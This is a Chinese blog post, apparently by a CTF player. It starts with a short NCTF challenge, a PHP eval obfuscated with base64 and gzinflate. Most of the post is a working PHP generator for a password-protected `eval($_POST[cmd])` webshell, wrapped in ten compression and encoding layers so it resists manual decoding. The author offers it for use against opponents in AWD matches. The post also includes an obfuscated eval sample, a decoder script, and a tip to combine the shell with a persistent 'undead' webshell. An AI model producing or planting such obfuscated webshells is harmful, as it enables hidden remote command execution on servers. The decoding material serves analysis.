刷nctf偶然刷到一道题,感觉还挺有意思的。
题目如下:
<?php
function CLsI($ZzvSWE) {
$ZzvSWE = gzinflate(base64_decode($ZzvSWE));
for ($i = 0; $i < strlen($ZzvSWE); $i++) {
$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
}
return $ZzvSWE;
}
eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>
题解很简单,直接把eval改为echo即可。
有意思的是PHP一句话加解密方式,使用base64和gzinflate。gzinflate是PHP解压缩函数,与压缩函数gzdeflate对应,具有相同功能的函数还有: gzcompress/gzuncompress, gzencode/gzdecode,注意,gzencode函数要求PHP版本>5.4,需要注意兼容性问题。
如果在平常遇到这种一句话木马, 要解密并不困难,无论是网上找脚本还是直接在线解密都可以,但是如果放在没有网络的AWD对抗上的话,尤其是没有做好流量日志记录的对手,要解密就要花一番功夫了。
<?php eval(gzinflate(base64_decode("DdNFjuNYAADQq7R6VaW/")));?>
这里写了一个加密脚本,可以更改加密轮数,这里是10次(轮数设置较大以防止手工解密)。
<?php
// 一句话加密
function one_word_encode($pass)
{
$code='?><?php if(md5($_POST[pass])=="'.md5($pass).'") {eval($_POST[cmd]);}?>';
for($i=1;$i<10;$i++)
{
$code='?><?php eval(gzinflate(base64_decode("'.base64_encode(gzdeflate($code)).'")));?>';
}
return base64_encode(gzdeflate($code));
}
echo one_word_encode("hello");
?>
再配合对pass进行md5加密,进一步提升破解难度(当然在有网络的情况下另当别论)。
解密脚本如下,当然也可以访问 https://decode.cnxct.com/ 进行在线解密。
<?php
// 解密: https://decode.cnxct.com/
function one_word_decode($code)
{
$code=gzinflate(base64_decode($code));
while(strpos($code,"POST")==false)
{
// 截取base64字符串继续解密
preg_match('/\"\S+\"/',$code,$code);
$code=substr($code[0],1,strlen($code[0])-2);
$code=gzinflate(base64_decode($code));
}
echo htmlentities($code);
}
one_word_decode(base64_str);
?>
配合不死马使用恶心人效果更佳。
eval函数中的语句一定要加分号,注意$转义 _GET,_POST的参数有没有单引号双引号都可以 蚁剑貌似不支持GET一句话 eval函数可以暂且理解为在语句前后加<?php和?>,实际情况比这复杂的多
Reference articles:
http://byd.dropsec.xyz/2017/06/05/渗透测试小技巧之过waf木马/utm_source=tuicool&utm_medium=referral https://www.cnxct.com/eval、gzinflate、-base64_decode三函数加密的代码在线解密/ https://my.oschina.net/programs/blog/1649544